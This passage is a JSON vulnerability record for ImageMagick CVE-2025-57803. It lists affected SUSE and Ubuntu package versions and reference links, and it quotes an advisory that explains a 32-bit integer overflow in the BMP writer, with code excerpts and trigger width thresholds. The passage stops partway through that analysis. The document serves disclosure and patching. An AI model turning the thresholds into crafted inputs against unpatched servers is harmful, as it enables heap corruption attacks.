SP5-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.40.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.21-150600.3.20.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.21-150600.3.20.1"}]}],"bundled":7},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.21-150600.3.20.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.0-160000.4.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.0-160000.4.1"}]}],"bundled":6},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.7.7.10-6ubuntu3.13+esm15"}]}],"versions":["8:6.7.7.10-5ubuntu3","8:6.7.7.10-5ubuntu4","8:6.7.7.10-6ubuntu1","8:6.7.7.10-6ubuntu2","8:6.7.7.10-6ubuntu3","8:6.7.7.10-6ubuntu3.1","8:6.7.7.10-6ubuntu3.2","8:6.7.7.10-6ubuntu3.3","8:6.7.7.10-6ubuntu3.4","8:6.7.7.10-6ubuntu3.5","8:6.7.7.10-6ubuntu3.6","8:6.7.7.10-6ubuntu3.7","8:6.7.7.10-6ubuntu3.8","8:6.7.7.10-6ubuntu3.9","8:6.7.7.10-6ubuntu3.11","8:6.7.7.10-6ubuntu3.12","8:6.7.7.10-6ubuntu3.13","8:6.7.7.10-6ubuntu3.13+esm1","8:6.7.7.10-6ubuntu3.13+esm2","8:6.7.7.10-6ubuntu3.13+esm3","8:6.7.7.10-6ubuntu3.13+esm4","8:6.7.7.10-6ubuntu3.13+esm5","8:6.7.7.10-6ubuntu3.13+esm6","8:6.7.7.10-6ubuntu3.13+esm7","8:6.7.7.10-6ubuntu3.13+esm8","8:6.7.7.10-6ubuntu3.13+esm9","8:6.7.7.10-6ubuntu3.13+esm10","8:6.7.7.10-6ubuntu3.13+esm11","8:6.7.7.10-6ubuntu3.13+esm12","8:6.7.7.10-6ubuntu3.13+esm13","8:6.7.7.10-6ubuntu3.13+esm14"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.16+esm14"}]}],"versions":["8:6.8.9.9-5ubuntu2","8:6.8.9.9-6","8:6.8.9.9-6build1","8:6.8.9.9-7","8:6.8.9.9-7ubuntu1","8:6.8.9.9-7ubuntu2","8:6.8.9.9-7ubuntu3","8:6.8.9.9-7ubuntu4","8:6.8.9.9-7ubuntu5","8:6.8.9.9-7ubuntu5.1","8:6.8.9.9-7ubuntu5.2","8:6.8.9.9-7ubuntu5.3","8:6.8.9.9-7ubuntu5.4","8:6.8.9.9-7ubuntu5.5","8:6.8.9.9-7ubuntu5.6","8:6.8.9.9-7ubuntu5.7","8:6.8.9.9-7ubuntu5.8","8:6.8.9.9-7ubuntu5.9","8:6.8.9.9-7ubuntu5.11","8:6.8.9.9-7ubuntu5.12","8:6.8.9.9-7ubuntu5.13","8:6.8.9.9-7ubuntu5.14","8:6.8.9.9-7ubuntu5.15","8:6.8.9.9-7ubuntu5.16","8:6.8.9.9-7ubuntu5.16+esm1","8:6.8.9.9-7ubuntu5.16+esm2","8:6.8.9.9-7ubuntu5.16+esm3","8:6.8.9.9-7ubuntu5.16+esm4","8:6.8.9.9-7ubuntu5.16+esm5","8:6.8.9.9-7ubuntu5.16+esm6","8:6.8.9.9-7ubuntu5.16+esm7","8:6.8.9.9-7ubuntu5.16+esm8","8:6.8.9.9-7ubuntu5.16+esm9","8:6.8.9.9-7ubuntu5.16+esm10","8:6.8.9.9-7ubuntu5.16+esm11","8:6.8.9.9-7ubuntu5.16+esm12","8:6.8.9.9-7ubuntu5.16+esm13"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+esm6"}]}],"versions":["8:6.9.7.4+dfsg-16ubuntu2","8:6.9.7.4+dfsg-16ubuntu3","8:6.9.7.4+dfsg-16ubuntu4","8:6.9.7.4+dfsg-16ubuntu5","8:6.9.7.4+dfsg-16ubuntu6","8:6.9.7.4+dfsg-16ubuntu6.2","8:6.9.7.4+dfsg-16ubuntu6.3","8:6.9.7.4+dfsg-16ubuntu6.4","8:6.9.7.4+dfsg-16ubuntu6.7","8:6.9.7.4+dfsg-16ubuntu6.8","8:6.9.7.4+dfsg-16ubuntu6.9","8:6.9.7.4+dfsg-16ubuntu6.11","8:6.9.7.4+dfsg-16ubuntu6.12","8:6.9.7.4+dfsg-16ubuntu6.13","8:6.9.7.4+dfsg-16ubuntu6.14","8:6.9.7.4+dfsg-16ubuntu6.15","8:6.9.7.4+dfsg-16ubuntu6.15+esm1","8:6.9.7.4+dfsg-16ubuntu6.15+esm2","8:6.9.7.4+dfsg-16ubuntu6.15+esm3","8:6.9.7.4+dfsg-16ubuntu6.15+esm4","8:6.9.7.4+dfsg-16ubuntu6.15+esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+esm4"}]}],"versions":["8:6.9.10.23+dfsg-2.1ubuntu3","8:6.9.10.23+dfsg-2.1ubuntu8","8:6.9.10.23+dfsg-2.1ubuntu9","8:6.9.10.23+dfsg-2.1ubuntu10","8:6.9.10.23+dfsg-2.1ubuntu11","8:6.9.10.23+dfsg-2.1ubuntu11.1","8:6.9.10.23+dfsg-2.1ubuntu11.2","8:6.9.10.23+dfsg-2.1ubuntu11.4","8:6.9.10.23+dfsg-2.1ubuntu11.4+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.5","8:6.9.10.23+dfsg-2.1ubuntu11.6","8:6.9.10.23+dfsg-2.1ubuntu11.6+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.7","8:6.9.10.23+dfsg-2.1ubuntu11.7+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.10","8:6.9.10.23+dfsg-2.1ubuntu11.10+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm4"}]}],"versions":["8:6.9.11.60+dfsg-1ubuntu1","8:6.9.11.60+dfsg-1.3","8:6.9.11.60+dfsg-1.3build1","8:6.9.11.60+dfsg-1.3build2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm3"}]}],"versions":["8:6.9.11.60+dfsg-1.6ubuntu1","8:6.9.12.98+dfsg1-5","8:6.9.12.98+dfsg1-5.2build1","8:6.9.12.98+dfsg1-5.2build2","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm1","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.7.7.10-6ubuntu3.13+esm15"}]}],"versions":["8:6.7.7.10-5ubuntu3","8:6.7.7.10-5ubuntu4","8:6.7.7.10-6ubuntu1","8:6.7.7.10-6ubuntu2","8:6.7.7.10-6ubuntu3","8:6.7.7.10-6ubuntu3.1","8:6.7.7.10-6ubuntu3.2","8:6.7.7.10-6ubuntu3.3","8:6.7.7.10-6ubuntu3.4","8:6.7.7.10-6ubuntu3.5","8:6.7.7.10-6ubuntu3.6","8:6.7.7.10-6ubuntu3.7","8:6.7.7.10-6ubuntu3.8","8:6.7.7.10-6ubuntu3.9","8:6.7.7.10-6ubuntu3.11","8:6.7.7.10-6ubuntu3.12","8:6.7.7.10-6ubuntu3.13","8:6.7.7.10-6ubuntu3.13+esm1","8:6.7.7.10-6ubuntu3.13+esm2","8:6.7.7.10-6ubuntu3.13+esm3","8:6.7.7.10-6ubuntu3.13+esm4","8:6.7.7.10-6ubuntu3.13+esm5","8:6.7.7.10-6ubuntu3.13+esm6","8:6.7.7.10-6ubuntu3.13+esm7","8:6.7.7.10-6ubuntu3.13+esm8","8:6.7.7.10-6ubuntu3.13+esm9","8:6.7.7.10-6ubuntu3.13+esm10","8:6.7.7.10-6ubuntu3.13+esm11","8:6.7.7.10-6ubuntu3.13+esm12","8:6.7.7.10-6ubuntu3.13+esm13","8:6.7.7.10-6ubuntu3.13+esm14"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.16+esm14"}]}],"versions":["8:6.8.9.9-5ubuntu2","8:6.8.9.9-6","8:6.8.9.9-6build1","8:6.8.9.9-7","8:6.8.9.9-7ubuntu1","8:6.8.9.9-7ubuntu2","8:6.8.9.9-7ubuntu3","8:6.8.9.9-7ubuntu4","8:6.8.9.9-7ubuntu5","8:6.8.9.9-7ubuntu5.1","8:6.8.9.9-7ubuntu5.2","8:6.8.9.9-7ubuntu5.3","8:6.8.9.9-7ubuntu5.4","8:6.8.9.9-7ubuntu5.5","8:6.8.9.9-7ubuntu5.6","8:6.8.9.9-7ubuntu5.7","8:6.8.9.9-7ubuntu5.8","8:6.8.9.9-7ubuntu5.9","8:6.8.9.9-7ubuntu5.11","8:6.8.9.9-7ubuntu5.12","8:6.8.9.9-7ubuntu5.13","8:6.8.9.9-7ubuntu5.14","8:6.8.9.9-7ubuntu5.15","8:6.8.9.9-7ubuntu5.16","8:6.8.9.9-7ubuntu5.16+esm1","8:6.8.9.9-7ubuntu5.16+esm2","8:6.8.9.9-7ubuntu5.16+esm3","8:6.8.9.9-7ubuntu5.16+esm4","8:6.8.9.9-7ubuntu5.16+esm5","8:6.8.9.9-7ubuntu5.16+esm6","8:6.8.9.9-7ubuntu5.16+esm7","8:6.8.9.9-7ubuntu5.16+esm8","8:6.8.9.9-7ubuntu5.16+esm9","8:6.8.9.9-7ubuntu5.16+esm10","8:6.8.9.9-7ubuntu5.16+esm11","8:6.8.9.9-7ubuntu5.16+esm12","8:6.8.9.9-7ubuntu5.16+esm13"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+esm6"}]}],"versions":["8:6.9.7.4+dfsg-16ubuntu2","8:6.9.7.4+dfsg-16ubuntu3","8:6.9.7.4+dfsg-16ubuntu4","8:6.9.7.4+dfsg-16ubuntu5","8:6.9.7.4+dfsg-16ubuntu6","8:6.9.7.4+dfsg-16ubuntu6.2","8:6.9.7.4+dfsg-16ubuntu6.3","8:6.9.7.4+dfsg-16ubuntu6.4","8:6.9.7.4+dfsg-16ubuntu6.7","8:6.9.7.4+dfsg-16ubuntu6.8","8:6.9.7.4+dfsg-16ubuntu6.9","8:6.9.7.4+dfsg-16ubuntu6.11","8:6.9.7.4+dfsg-16ubuntu6.12","8:6.9.7.4+dfsg-16ubuntu6.13","8:6.9.7.4+dfsg-16ubuntu6.14","8:6.9.7.4+dfsg-16ubuntu6.15","8:6.9.7.4+dfsg-16ubuntu6.15+esm1","8:6.9.7.4+dfsg-16ubuntu6.15+esm2","8:6.9.7.4+dfsg-16ubuntu6.15+esm3","8:6.9.7.4+dfsg-16ubuntu6.15+esm4","8:6.9.7.4+dfsg-16ubuntu6.15+esm5"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+esm4"}]}],"versions":["8:6.9.10.23+dfsg-2.1ubuntu3","8:6.9.10.23+dfsg-2.1ubuntu8","8:6.9.10.23+dfsg-2.1ubuntu9","8:6.9.10.23+dfsg-2.1ubuntu10","8:6.9.10.23+dfsg-2.1ubuntu11","8:6.9.10.23+dfsg-2.1ubuntu11.1","8:6.9.10.23+dfsg-2.1ubuntu11.2","8:6.9.10.23+dfsg-2.1ubuntu11.4","8:6.9.10.23+dfsg-2.1ubuntu11.4+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.5","8:6.9.10.23+dfsg-2.1ubuntu11.6","8:6.9.10.23+dfsg-2.1ubuntu11.6+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.7","8:6.9.10.23+dfsg-2.1ubuntu11.7+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.10","8:6.9.10.23+dfsg-2.1ubuntu11.10+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm3"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm4"}]}],"versions":["8:6.9.11.60+dfsg-1ubuntu1","8:6.9.11.60+dfsg-1.3","8:6.9.11.60+dfsg-1.3build1","8:6.9.11.60+dfsg-1.3build2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm3"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm3"}]}],"versions":["8:6.9.11.60+dfsg-1.6ubuntu1","8:6.9.12.98+dfsg1-5","8:6.9.12.98+dfsg1-5.2build1","8:6.9.12.98+dfsg1-5.2build2","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm1","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm2"],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.2-2.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.0-160000.4.1"}]}],"bundled":6}],"products":[{"vendor":"imagemagick","product":"imagemagick"}],"references":[{"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1","tags":["x_refsource_MISC","Release Notes","web","article","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57803","tags":["advisory","web"]},{"url":"https://github.com/advisories/GHSA-mxvv-97wh-cfmm","tags":["web"]},{"url":"https://security.alpinelinux.org/vuln/CVE-2025-57803","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/centos7els/CLSA-2025-1758195721.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu20.04els/CLSA-2025-1759856402.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu18.04els/CLSA-2025-1760019012.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu16.04els/CLSA-2025-1760023801.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/centos8.4els/CLSA-2026-1776170814.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/centos8.5els/CLSA-2026-1776171379.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/centos-stream8els/CLSA-2026-1776171616.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/debian10els/CLSA-2026-1776178825.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57803.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-57803","tags":["advisory"]},{"url":"https://github.com/ImageMagick/ImageMagick","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2193","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55004","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55005","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55154","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55160","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55212","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55298","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2194","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2196","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2197","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2198","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2247","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57807","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2025:16313","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2391093","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2025/rhsa-2025_16313.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-57803","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-57803","tags":["advisory","report"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202503113-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1248076","tags":["report"]},{"url":"https://bugzilla.suse.com/1248077","tags":["report"]},{"url":"https://bugzilla.suse.com/1248078","tags":["report"]},{"url":"https://bugzilla.suse.com/1248079","tags":["report"]},{"url":"https://bugzilla.suse.com/1248767","tags":["report"]},{"url":"https://bugzilla.suse.com/1248780","tags":["report"]},{"url":"https://bugzilla.suse.com/1248784","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55005","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55154","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55160","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55212","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55298","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-57803","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202503150-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202503151-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202503152-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1247475","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202503164-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202521211-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1249362","tags":["report"]},{"url":"https://bugzilla.suse.com/1252282","tags":["report"]},{"url":"https://bugzilla.suse.com/1252749","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-57807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62171","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62594","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2025-57803","tags":["report"]},{"url":"https://github.com/ImageMagick/ImageMagick6/commit/e49c68c88eed6e68145480a471650daa9ed87217","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7812-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-55298","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-57803","title":"ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T17:25:59.148Z","modified":"2026-02-26T17:48:11.006Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-122","CWE-190"],"updated_at":"2026-11-02T14:32:34.773122Z"}],"euvd":[{"id":"EUVD-2025-25837","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T17:25:59Z","modified":"2026-02-26T17:48:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:22.388505Z"}],"ghsa":[{"id":"GHSA-mxvv-97wh-cfmm","title":"ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow","description":"## Summary\n\nA 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.\n\n- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.\n    \n- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.\n    \n- **32-bit:** **Vulnerable** (reproduced with ASan).\n    \n- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.\n    \n- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n    \n\n---\n\n## Scope \u0026 Affected Builds\n\n- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).\n    \n- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`\n    \n- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`\n    \n- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.\n    \n- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.\n    \n\n---\n\n## Root Cause (with code anchors)\n\n### Stride computation (writer)\n\n```c\nbytes_per_line = 4 * ((image-\u003ecolumns * bmp_info.bits_per_pixel + 31) / 32);\n```\n\n### Per-row base and 24-bpp loop (writer)\n\n```c\nq = pixels + ((ssize_t)image-\u003erows - y - 1) * (ssize_t)bytes_per_line;\nfor (x = 0; x \u003c (ssize_t)image-\u003ecolumns; x++) {\n  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes\n}\n```\n\n### Allocation (writer)\n\n```c\npixel_info = AcquireVirtualMemory(image-\u003erows,\n    MagickMax(bytes_per_line, image-\u003ecolumns + 256UL) * sizeof(*pixels));\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n```\n\n### Dimension “caps” (insufficient)\n\nThe writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.\n\n---\n\n## Integer-Overflow Analysis (32-bit `size_t`)\n\nStride formula for 24-bpp:\n\n```\nbytes_per_line = 4 * ((width * 24 + 31) / 32)\n```\n\nThere are **two independent overflow hazards** on 32-bit:\n\n1. **Stage-1 multiply+add** in `(width * 24 + 31)`  \n    Overflow iff `width \u003e ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`  \n    → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.\n    \n2. **Stage-2 final ×4** after the division  \n    Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q \u003e 0x3FFFFFFF`.  \n    Solving gives **width ≥ 1,431,655,765 (0x55555555)**.\n    \n\nBoth thresholds are 